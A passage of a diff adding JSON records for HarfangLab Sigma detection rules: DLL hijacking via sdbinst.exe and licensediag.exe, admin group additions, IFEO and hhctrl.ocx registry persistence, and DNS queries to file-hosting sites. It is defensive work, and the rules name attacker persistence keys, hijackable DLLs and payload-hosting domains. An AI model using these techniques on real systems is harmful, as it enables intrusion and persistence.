+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592998Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sdbinst.yml",
+  "content": "title: DLL Hijacking via sdbinst.exe\nid: a9b65e67-ae73-4a0a-93a8-e87d4e15f3a2\ndescription: |\n    Detects potential Windows DLL Hijacking via sdbinst.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sdbinst.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\apphelp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a9b65e67-ae73-4a0a-93a8-e87d4e15f3a2",
+  "rule_name": "DLL Hijacking via sdbinst.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sdbinst.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "a9e0a63b-2a2b-41d1-839b-cb482e15edcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072558Z",
+  "creation_date": "2026-03-23T11:45:34.072561Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072565Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1098/",
+    "https://attack.mitre.org/techniques/T1078/003/"
+  ],
+  "name": "t1098_add_user_to_local_administrators_group.yml",
+  "content": "title: User Account Added to the Local Administrators Group\nid: a9e0a63b-2a2b-41d1-839b-cb482e15edcb\ndescription: |\n    Detects when a user account is added into the local Administrators group.\n    Attackers can add a new user to the Administrators group to establish persistence on infected hosts.\n    It is recommended to investigate the context of the detection and any suspicious authentications with the user newly added to the group to determine if this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1098/\n    - https://attack.mitre.org/techniques/T1078/003/\ndate: 2021/04/28\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1098\n    - attack.privilege_escalation\n    - attack.t1078.003\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4732\n        GroupSid: 'S-1-5-32-544'\n\n    exclusion_joined:\n        - MemberSid: 'S-1-5-21-*-512' # avoid detection when a computer joined a domain (domain admins sid)\n        - SubjectUserName|endswith: '$'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "a9e0a63b-2a2b-41d1-839b-cb482e15edcb",
+  "rule_name": "User Account Added to the Local Administrators Group",
+  "rule_description": "Detects when a user account is added into the local Administrators group.\nAttackers can add a new user to the Administrators group to establish persistence on infected hosts.\nIt is recommended to investigate the context of the detection and any suspicious authentications with the user newly added to the group to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-04-28",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.003",
+    "attack.t1098"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aa235c35-c389-4966-93a2-da5f443718e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593712Z",
+  "creation_date": "2026-03-23T11:45:34.593716Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593723Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_licensediag.yml",
+  "content": "title: DLL Hijacking via licensediag.exe\nid: aa235c35-c389-4966-93a2-da5f443718e3\ndescription: |\n    Detects potential Windows DLL Hijacking via licensediag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'licensediag.exe'\n        ImageLoaded|endswith: '\\winbrand.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aa235c35-c389-4966-93a2-da5f443718e3",
+  "rule_name": "DLL Hijacking via licensediag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via licensediag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aa59cb20-2517-4d55-8264-d52dc9608856",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620617Z",
+  "creation_date": "2026-03-23T11:45:34.620619Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620624Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
+    "https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/",
+    "https://attack.mitre.org/techniques/T1546/012/"
+  ],
+  "name": "t1546_012_persistence_registry_ifeo.yml",
+  "content": "title: Image File Execution Option Persistence Added\nid: aa59cb20-2517-4d55-8264-d52dc9608856\ndescription: |\n    Detects Image File Execution Option persistence settings in registry. This is oftenly used by threat actors to gain persistence on a machine.\n    Attackers may use IFEO as persistence or as a backdoor if it is installed on system binaries that are triggered for specific actions.\n    It is recommended to analyze the process reponsible for this registry edit as well as to look for malicious actions by the same user around this alert.\nreferences:\n    - https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/\n    - https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/\n    - https://attack.mitre.org/techniques/T1546/012/\ndate: 2020/09/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.012\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject|contains:\n            - 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\'\n            - 'Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\'\n            - 'Software\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\'\n            - 'Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\'\n        TargetObject|endswith:\n            - Debugger\n            - VerifierDlls\n            - MonitorProcess\n            - VerifierProviders\n\n    selection_rename:\n        EventType:\n            - 'RenameKey'\n            - 'RenameValue'\n        NewName|contains:\n            - 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\'\n            - 'Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\'\n            - 'Software\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\'\n            - 'Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\'\n        NewName|endswith:\n            - Debugger\n            - VerifierDlls\n            - MonitorProcess\n            - VerifierProviders\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_details:\n        Details:\n            - '/'\n            - 'Blocked'\n\n    exclusion_known_verifier_providers:\n        # default value on win10 (with old \" \" and new \";\" separator from our driver)\n        # TargetObject: HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\{ApplicationVerifierGlobalSettings}\\VerifierProviders\n        Details:\n            - \"vrfcore.dll vfbasics.dll vfcompat.dll vfluapriv.dll vfprint.dll vfnet.dll vfntlmless.dll vfnws.dll vfcuzz.dll\"\n            - \"vrfcore.dll;vfbasics.dll;vfcompat.dll;vfluapriv.dll;vfprint.dll;vfnet.dll;vfntlmless.dll;vfnws.dll;vfcuzz.dll\"\n            - \"vrfcore.dll vfbasics.dll vfluapriv.dll vfcompat.dll vfprint.dll vfntlmless.dll\"\n    exclusion_process_explorer:\n        TargetObject|endswith: 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskmgr.exe\\Debugger'\n        ProcessInternalName: 'Process Explorer'\n\n    exclusion_psappdeploytoolkit:\n        # https://github.com/PSAppDeployToolkit/PSAppDeployToolkit/blob/46c98f1caa99b1640fd890b6e76ce0409ac12724/Toolkit/AppDeployToolkit/AppDeployToolkitMain.ps1#L6123\n        Image:\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe'\n        Details|contains:\n            - 'wscript.exe*\\PSAppDeployToolkit\\AppDeployToolkit_BlockAppExecutionMessage.vbs'\n            - 'wscript.exe*\\PSAppDeployToolkit\\BlockExecution\\AppDeployToolkit_BlockAppExecutionMessage.vbs'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\\*\\Debugger'\n\n    exclusion_choco:\n        Image: '?:\\ProgramData\\chocolatey\\choco.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Chocolatey Software, Inc.'\n\n    exclusion_solarwinds:\n        Image: '?:\\SolarWinds\\Migration.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Solarwinds Worldwide, LLC'\n\n    exclusion_windows_upgrade:\n        Image:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\windowsupdatebox.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupCore.exe'\n\n    # https://github.com/AveYo/MediaCreationTool.bat/blob/main/bypass11/Skip_TPM_Check_on_Dynamic_Update.cmd\n    exclusion_tpm_skip_check:\n        ProcessCommandLine: 'reg add HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\SetupHost.exe\\0 /f /v Debugger /d ?:\\Scripts\\get11.cmd'\n        ProcessParentCommandLine|contains: 'Skip_TPM_Check_on_Dynamic_Update.cmd'\n\n    exclusion_heimdal:\n        Image: '?:\\ProgramData\\Heimdal Security\\Heimdal Thor Agent\\bin\\Heimdal.Wizard.exe'\n\n    # https://github.com/rizonesoft/Notepad3\n    exclusion_notepad3:\n        ProcessProduct: 'Notepad3 (x64)'\n        Details: '??:\\Program Files\\Notepad3\\Notepad3.exe? /z'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aa59cb20-2517-4d55-8264-d52dc9608856",
+  "rule_name": "Image File Execution Option Persistence Added",
+  "rule_description": "Detects Image File Execution Option persistence settings in registry. This is oftenly used by threat actors to gain persistence on a machine.\nAttackers may use IFEO as persistence or as a backdoor if it is installed on system binaries that are triggered for specific actions.\nIt is recommended to analyze the process reponsible for this registry edit as well as to look for malicious actions by the same user around this alert.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aa658529-bd7e-4971-a104-d32ba0e109a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089148Z",
+  "creation_date": "2026-03-23T11:45:34.089150Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089154Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/hhctrl.html",
+    "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_hhctrl_ocx.yml",
+  "content": "title: Possible hhctrl.ocx Persistence Added\nid: aa658529-bd7e-4971-a104-d32ba0e109a3\ndescription: |\n    Detects the modification of the hhctrl.ocx registry key that allows the setting of a DLL to load when using the hh.exe binary.\n    This method is used as a mean to set up a persistence that will be triggered upon the execution of hh.exe.\n    It is recommended to check the legitimacy of the process that added the persistence as well as to look for malicious content in the targeted DLL.\nreferences:\n    - https://persistence-info.github.io/Data/hhctrl.html\n    - https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/07/20\nmodified: 2025/01/08\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.LOLBin.Hh\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKCR\\CLSID\\{52A2AAAE-085D-4187-97EA-8C30DB990436}\\InprocServer32\\(Default)'\n\n    is_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_hhctrl:\n        Details: '?:\\Windows\\System32\\hhctrl.ocx'\n\n    condition: selection and not is_empty and not 1 of exclusion_*\nlevel: medium\n# level: high (to discuss during review)\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aa658529-bd7e-4971-a104-d32ba0e109a3",
+  "rule_name": "Possible hhctrl.ocx Persistence Added",
+  "rule_description": "Detects the modification of the hhctrl.ocx registry key that allows the setting of a DLL to load when using the hh.exe binary.\nThis method is used as a mean to set up a persistence that will be triggered upon the execution of hh.exe.\nIt is recommended to check the legitimacy of the process that added the persistence as well as to look for malicious content in the targeted DLL.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-01-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aa913aec-a1b1-4c7b-91c0-1098693481c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295522Z",
+  "creation_date": "2026-03-23T11:45:35.295526Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295532Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/",
+    "https://twitter.com/embee_research/status/1623908375242350593",
+    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1105_suspicious_dns_request_filehosting_linux.yml",
+  "content": "title: DNS Request to Suspicious File Hosting Website (Linux)\nid: aa913aec-a1b1-4c7b-91c0-1098693481c7\ndescription: |\n    Detects a DNS request to a public file hosting service that may contain a malicious payload.\n    This technique has been used by ransomware operators to download payloads that are hosted on public websites.\n    It is recommended to perform an analysis of the downloaded file to check if the content is malicious.\nreferences:\n    - https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/\n    - https://twitter.com/embee_research/status/1623908375242350593\n    - https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2024/07/15\nmodified: 2026/02/12\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1071.001\n    - classification.Linux.Source.DnsQuery\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    category: dns_query\n    product: linux\ndetection:\n    selection:\n        QueryName:\n            - '*transfer.sh'\n            - '*gofile.io'\n            - '*file.io'\n            - '*send.exploit.in'\n            - '*catbox.moe'\n            - 'temp.sh'\n\n    filter_browser:\n        ProcessImage|endswith:\n            - '/firefox'\n            - '/firefox-esr'\n            - '/firefox-bin'\n            - '/firefox-devedition'\n            - '/chrome'\n            - '/google-chrome'\n            - '/google-chrome-stable'\n            - '/brave'\n            - '/msedge'\n            - '/librewolf'\n            - '/chromium'\n            - '/vivaldi'\n\n    filter_dns:\n        ProcessCommandLine: 'samba: task[dns]*'\n\n    filter_resolver:\n        ProcessImage:\n            - '/usr/sbin/named'\n            - '/lib/systemd/systemd-resolved'\n            - '/usr/lib/systemd/systemd-resolved'\n            - '/usr/sbin/unbound'\n            - '/usr/sbin/pdns_recursor'\n            - '/usr/sbin/squid'\n            - '/usr/sbin/nscd'\n\n    exclusion_amavis:\n        - ProcessImage|endswith: '/amavisd-new'\n        - ProcessCommandLine|contains:\n            - '/amavisd (master)'\n            - '/amavisd-new (master)'\n            - '/usr/bin/perl -T /usr/sbin/amavisd'\n\n    exclusion_zimbra:\n        ProcessCommandLine: '/usr/bin/perl -T /opt/zimbra/common/sbin/amavisd * -c /opt/zimbra/conf/amavisd.conf'\n\n    exclusion_squid:\n        ProcessImage: '/usr/sbin/squid'\n\n    exclusion_pdns:\n        ProcessImage: '/usr/sbin/pdns_recursor'\n\n    exclusion_traefik:\n        ProcessImage:\n            - '/usr/bin/traefik'\n            - '/usr/local/bin/traefik'\n\n    exclusion_mailscanner:\n        ProcessCommandLine: 'MailScanner: starting child'\n\n    exclusion_zen:\n        ProcessImage: '/opt/zen/zen'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "aa913aec-a1b1-4c7b-91c0-1098693481c7",
+  "rule_name": "DNS Request to Suspicious File Hosting Website (Linux)",
+  "rule_description": "Detects a DNS request to a public file hosting service that may contain a malicious payload.\nThis technique has been used by ransomware operators to download payloads that are hosted on public websites.\nIt is recommended to perform an analysis of the downloaded file to check if the content is malicious.\n",
+  "rule_creation_date": "2024-07-15",
+  "rule_modified_date": "2026-02-12",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "aa991822-87ec-4f97-961a-58f1bbd3db81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096995Z",
+  "creation_date": "2026-03-23T11:45:34.096997Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097001Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_perfmon.yml",
